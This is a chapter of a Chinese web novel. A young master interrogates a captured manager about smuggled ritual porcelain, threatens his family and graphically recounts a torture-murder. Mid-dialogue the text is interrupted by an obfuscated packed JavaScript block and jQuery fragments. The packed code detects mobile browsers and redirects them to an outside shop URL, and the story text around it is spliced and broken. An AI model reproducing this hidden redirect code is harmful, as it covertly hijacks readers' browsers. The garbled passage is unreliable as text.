43. 第四十三章 价值与筹码

作品:《误交损友的我开始无限死亡

    夜色如墨,清河镇靠近废弃码头的一处偏僻货栈后院,正透出几分不同寻常的死寂。


    这院子是镇上一个叫孙有福的小头目存放杂物的备用仓库。院子四周高墙耸立,墙头插满碎瓷,唯一的出入口是那扇厚重的包铁木门,此刻紧闭,将内外声响隔绝得干干净净。院子里没有点灯笼,只有正屋敞开的门内透出昏黄的烛光。光晕勉强照亮门口一小片坑洼不平的泥地,再往外,便是吞噬一切的黑暗。


    林景明坐在正屋中央一张太师椅上,身体微微后靠,右手搭在扶手上,修长的手指有一下没一下地轻叩着光滑的木面。他面前三步远的地上,跪着个矮胖的中年男人。


    男人身上那件原本体面的绸衫,此刻沾满了尘土和污渍,皱巴巴地裹在身上。正是这仓库的主人孙有福,也是林家安排在清河镇码头区的一个代理管事,手下管着几条货船的调度往来。


    孙有福被反绑着手,嘴里塞着破布,脸颊、额角带着不同程度的淤青和干涸的血迹,显然在被带到这里之前,已经审问过了。他惊恐地看着坐在阴影里的林景明,眼神里充满了哀求。


    林景明的目光却并未落在他身上,而是淡淡地投向门口那片浓郁的黑暗。


    脚步声响起,一个身形精悍的汉子快步走进烛光范围,躬身抱拳,声音压得低而清晰:“大少爷,都查清楚了。”


    “说。”林景明叩击扶手的手指未停,只吐出一个字。


    “孙有福上个月从疤爷手里,私下接了一批‘青料’,数量不大,但成色特殊,是南洋那边过来的。疤爷当时急着脱手,价钱开得很低。孙有福见有利可图,就瞒着府里用自己的路子吃下了。”


    林景明眉梢微挑。


    黑衣汉子继续道:“孙有福本想悄悄转手,赚个差价。但还没找到下家,‘永丰号’就出事了。疤爷失踪,黑皮被抓,那批‘青料’成了烫手山芋。”


    林景明的手指停止敲击,屋内顿时只剩下烛芯偶尔爆开的噼啪声,以及孙有福粗重压抑的喘息。他缓缓开口,声音依旧平静无波:“然后呢?”


    “孙有福想把货处理掉。偏巧那几日,府里二小姐的院子正在修缮,有些暂时用不着的杂物,需挪到码头大仓去存放些时日。孙有福就动了歪心思。”黑衣汉子抬眼迅速瞥了下林景明的脸色,才接着道,“他买通大仓的老仓管孙晖,把那批‘青料’混进二小姐院子的杂物里一起入了库。单据上收货人写的是二小姐的名字。”


    “为什么写晚琪的名字?”林景明的声音很平静,却让跪着的孙有福抖得更厉害了。


    黑衣汉子回道:“据孙有福交代,二小姐常年深居简出,不问外事,名下从无货物往来,最不容易引人注意。而且他想着,万一东窗事发,或有人查库见到这批货,便可推说是下面的人办事糊涂,登记错了。”


    林景明嘴角勾起一丝冰冷的弧度:“倒是想得周全。”他站起身,走到孙有福面前,蹲下身,嫌恶地扯出塞在孙有福嘴里的那团破布。


    “大少爷!大少爷饶命啊!饶命啊!”破布刚离口,孙有福便爆发出杀猪般的哭嚎,涕泪瞬间纵横满脸,“小的鬼迷心窍!猪油蒙了心!贪那点要命的小便宜!小的对天发誓,绝没有一丝一毫要害二小姐的心思啊!那批货……那批货小的立刻就去处理!保证处理得干干净净,一点痕迹不留!求大少爷开恩!看在小的为林家效力这么多年的份上,饶小的一条狗命吧!”


    林景明并不理会孙有福的哭诉,扔掉手里的破布,开口询问道:“之前跟‘永丰号’的疤爷,有过节?”


    孙有福的哭嚎戛然而止,一下子不知道该从何说起:“这……”


    “疤爷一出事,你就迫不及待去捡他的漏,”林景明语气平淡,甚至带着点戏谑,“是想浑水摸鱼,捞点好处?还是另有所图?”


    “冤枉!天大的冤枉啊大少爷!”孙有福又激动起来,挣扎着想要以头抢地,“疤爷那是何等人物?小的平日里巴结还来不及,怎敢与他有过节?更不敢在他落难时落井下石啊!小的真是只是贪财,一时糊涂!”


    林景明完全没有在听他的辩白,自顾自地继续问道:“老仓管孙晖,是你的远方族亲?你这林家码头代理管事的差事,也是走了他的门路?”


    孙有福浑身一震,脸上血色褪尽,连哭喊都忘了,只是拼命摇头:“不……不是!大少爷明鉴!小的与那孙晖只是同姓,此前并不熟识!这差事是小的自己凭本事……大少爷,您不能因为我们都姓孙,就断定我们勾结啊!小的真的只是一时糊涂!再也不敢了!求您再给次机会!”


    林景明看着他,叹了口气。那叹息声很轻,落在孙有福耳中,却比惊雷更可怕。林景明重新站直身体,语气里竟似带上了一丝惋惜,如同看着一件即将被丢弃的旧物:“孙有福,事到如今,你我之间,还需要这些虚头巴脑的搪塞吗?你是个聪明人,该知道,到了这个份上,实话,或许还能换一线生机。”


    孙有福嗅到死亡的气味,连忙用双膝挪到林景明的腿边,额头重重磕在冰冷的地面上,发出沉闷的响声,哭喊道:“是!是!孙晖是我很远房的亲戚,小的给了他很多银两,才谋到林家的差事,还有这次入库的事情。他喝醉后威胁小的讨要更多的银钱,不然要告诉林老爷,小的才出此下策把他毒死了……大少爷!求大少爷看在小的为林家效力多年的份上,饶小的一命吧!求你再给小的一次机会吧!”


    林景明冷眼看着孙有福的鼻涕和眼泪蹭在自己深灰色的裤腿上,留下污浊的痕迹。他脸上没有任何表情:“孙有福,你在我林家这些年,可知道我的为人?”


    孙有福茫然地抬头,看着林景明在烛光下半明半暗的脸,那张年轻却过分沉静的脸上,此刻似乎笼罩着一层他从未看清过的阴影。


    “你得有价值,知道吗?”林景明露出一个阎王一般的笑容,“活着,要有活着的价值;死了,也要有死了的用处。”


    孙有福的脸色瞬间惨白如纸,嘴唇哆嗦着,翕动了半天,却连一个完整的音节都发不出来,只有牙齿咯咯打颤的声音。


    林景明转身,对黑衣汉子道:“去把孙管事家里人都请来。他那个刚满月的小孙子,听说生得挺白胖。”


    “不!不要!”孙有福猛地挣扎起来,涕泪横流,“大少爷!祸不及家人啊!求您!都是小的一个人做的!跟家里人没关系!求您放过他们!”


    林景明居高临下地看着他,眼神里没有丝毫波澜:“还是那句话,孙有福,你现在还有什么价值,能换你和你一家老小的命吗?”


    这句话像一道闪电,劈开了孙有福混沌的脑海。一个激灵,他猛地挺起上半身,尽管被反绑着,姿势怪异,却用尽全身力气嘶喊道:“有!有!大少爷!我有价值!我知道一个人!阮文雄!他是我的至交!”


    看见林景明似乎产生了兴趣,他连忙补充道,“阮文雄常年在南洋和东南沿海跑船,表面是做些通货生意,其实暗地里什么都沾。那批‘青料’,就是他卖给疤爷的。而且那批‘青料’跟以往的都不一样!”


    像是终于听到自己想要的答案,林景明嘴角的笑意更浓了:“怎么个不一样法?”


    他看到林景明眉峰似乎动了一下,目光重新聚焦在自己身上,心中那点微弱的火苗顿时疯狂燃烧起来,求生欲压倒了一切:“阮文雄!他常年在南洋跑船,表面上做的是香料、珍珠、珊瑚这些通货生意,其实暗地里什么都沾!路子野得很!那批‘青料’,真正的源头就是他!是他卖给疤爷的!而且……而且那批‘青料’跟以往市面上的任何一批都不一样!大不一样!”


    像是终于听到了想听的关键,林景明眼中掠过一丝极淡的锐光,嘴角那抹冰冷的笑意似乎加深了些许:“哦?怎么个不一样法?”


    孙有福如同抓住了最后一根救命稻草,语速快得几乎咬到舌头:“那批瓷器……不,那根本不能算普通的瓷器!阮文雄有一次喝多了跟我透露,那是他从南洋一个非常隐秘、古老的教派里流出来的圣器!上面刻的那些复杂纹路,根本不是什么装饰图案,是……是某种古老的咒文!他说,那批货真正的价值,根本不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119624|195952||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在瓷器本身,而在那些纹路上!疤爷当时急着用钱,才低价出手,但他也警告过我,这东西……邪性,不能随便卖,只能交给真正懂行的人,否则会招灾!”


    林景明的眼神彻底锐利起来,如同出鞘的刀锋:“说清楚。什么教派?什么咒文?”


    孙有福被他目光所慑,吞咽了一口带着血沫的唾沫,声音因为恐惧而微微发颤:“阮文雄说……那个教派起源非常古老,好像……好像跟西边的雪域高原有关。很多很多年前,教派内部发生了分裂,一部分信徒被迫流亡,几经辗转,最后在南洋的某些岛屿上扎根下来,但一直……一直秘密保留着古老的仪式和……和据说不可思议的力量。那批‘青料’,就是他们举行某些重要仪式时使用的器物!上面刻的咒文,据说是用早已失传的古语书写,能……能沟通神灵,或者……或者带来某种强大的庇佑,甚至……甚至诅咒……”他说到最后,声音越来越小,自己脸上也露出了难以置信的恐惧神色,显然当初听闻时也深受震撼。


    “阮文雄,现在人在哪里?”林景明打断他越来越离奇的叙述。


    “他……他应该在连州港!”孙有福急忙道,生怕回答慢了,“他的船‘海鹞号’前几天刚靠的连州港!我前些日子还收到他的信,说要在连州等一批货,顺便收笔旧账,然后……然后可能就要扬帆再去南洋!大少爷!小的可以带您去找他!小的知道他在连州港惯常落脚的地方!只要……只要您高抬贵手,饶了小的和家里人,小的愿意带路,帮您找到阮文雄!他手里肯定还有更多关于那教派和那批货的消息!”


    林景明沉默了片刻。烛火在他深不见底的眸子里跳动,映照出他飞速权衡的思绪。


    良久,林景明才缓缓开口,问了一个似乎不相干的问题:“孙有福,你知道‘永丰号’的疤爷,最后是怎么死的吗?”


    孙有福一愣,茫然地摇头:“听……听道上传言,是被人……害了?”


    “不是传言。”林景明的声音很平静,甚至带着一丝令人毛骨悚然的笑意,他慢慢讲述一个与己无关的故事,“疤爷是被人活生生切断手指,取下上面代表他身份的铜环。然后,行凶者又把铜环套回他光秃秃的指骨上。接着,用钝器反复击打他的颅骨,直到碎裂;用匕首刺穿他的胸腹,搅烂内脏;最后,折断了他的脊椎,让他像一摊烂泥一样扭曲。整个过程,他应该都是清醒的。”


    孙有福瞳孔放大,脸上最后一点血色也消失殆尽,身体僵直,仿佛连颤抖都忘了。


    “最后,”林景明俯下身,凑近他耳边,声音轻得像情人间的呢喃,却带着地狱般的寒气,“他的尸体被抛在城南最荒芜的废弃滩涂,潮水涨了又退,鱼虾来了又去。找到的时候,差不多只剩下一副挂着碎肉的骨头架子。”


    “你觉得,”林景明恢复了正常的音量,目光淡漠地扫过孙有福彻底崩溃的脸,“你的下场,会比疤爷好上多少?”


    孙有福喉咙里发出“咯咯”的怪响,眼白上翻,身体剧烈地抽搐了一下,一股腥臊的液体瞬间浸透了他绸衫的下摆,在地面洇开一小片深色痕迹。他彻底瘫软下去,像一具被抽走了所有骨头和灵魂的皮囊,只剩下空洞的双眼望着屋顶横梁,连哀求的力气都没有了。


    林景明眼中掠过毫不掩饰的厌恶,仿佛看到了一只肮脏的虫子。


    “带他去洗干净,换身衣服,别吓着阮老板。”林景明对黑衣汉子吩咐道,“给他家人安排个妥当的地方住下,好生照看。孙管事,接下来该怎么做,你心里有数了?”


    最后一句是问向孙有福的,但孙有福只是瘫在地上,没有任何反应。


    黑衣汉子会意,躬身道:“明白,大少爷。属下会安排妥当,确保孙管事心无旁骛地带路。”他一挥手,两名一直守在门口阴影里的手下快步进来,面无表情地将瘫软的孙有福架了起来,拖向侧边一间堆放杂物的偏房。很快,里面传来泼水声和含糊的呜咽。


    林景明独自坐在厅堂,右手又习惯性开始叩击扶手,他思索着低声念出了那个名字:“阮文雄……”